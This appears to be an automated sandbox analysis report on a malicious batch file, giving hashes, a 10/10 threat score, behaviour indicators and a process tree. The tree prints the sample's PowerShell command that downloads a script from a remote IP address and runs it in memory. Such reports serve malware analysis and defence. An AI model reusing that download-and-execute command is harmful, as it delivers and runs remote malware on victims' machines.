2311d76b97db37109d14a91f693f468810b9e530aa7f6a9d75dc827757054d6a

Analysis

Target
2211aeb68404653c6a42054308cf95e6.bat
Size 219B
Sample200710-6pb5xw6kvx
SHA256 2311d76b97db37109d14a91f693f468810b9e530aa7f6a9d75dc827757054d6a
MD5 68b33bb8cfe6e6cfbc8be50a90b3084b
SHA1 8b32c94506fe4bc67c38f6c1dbb955603dbc2ba4
SHA512 6a328a1dc19ccddef2bb9aeb38fe874646b7789083360bb026435cb799e93b5a578713a53b45bb52a1f75327bc763054ebf2d2c53d2657dd20d88f89f8f84928
MD5 SHA1 SHA512

Score

10^/10

Language

Source

URLs

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2804 wrote to memory of 992	2804	cmd.exe	67
PID 2804 wrote to memory of 992	2804	cmd.exe	67
PID 2804 wrote to memory of 992	2804	cmd.exe	67

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1800	992	WerFault.exe	67

Suspicious use of AdjustPrivilegeToken 3 IoCs

Suspicious behavior: EnumeratesProcesses 14 IoCs

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2211aeb68404653c6a42054308cf95e6.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2804
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/2211aeb68404653c6a42054308cf95e6');Invoke-LJICDRBAHEGJ;Start-Sleep -s 10000"
  2⤵
  PID:992
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 992 -s 704
    3⤵
    - Program crash
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious behavior: EnumeratesProcesses
    PID:1800

memory/1800-1-0x00000000050A0000-0x00000000050A1000-memory.dmp

Download

memory/1800-8-0x00000000056D0000-0x00000000056D1000-memory.dmp

Download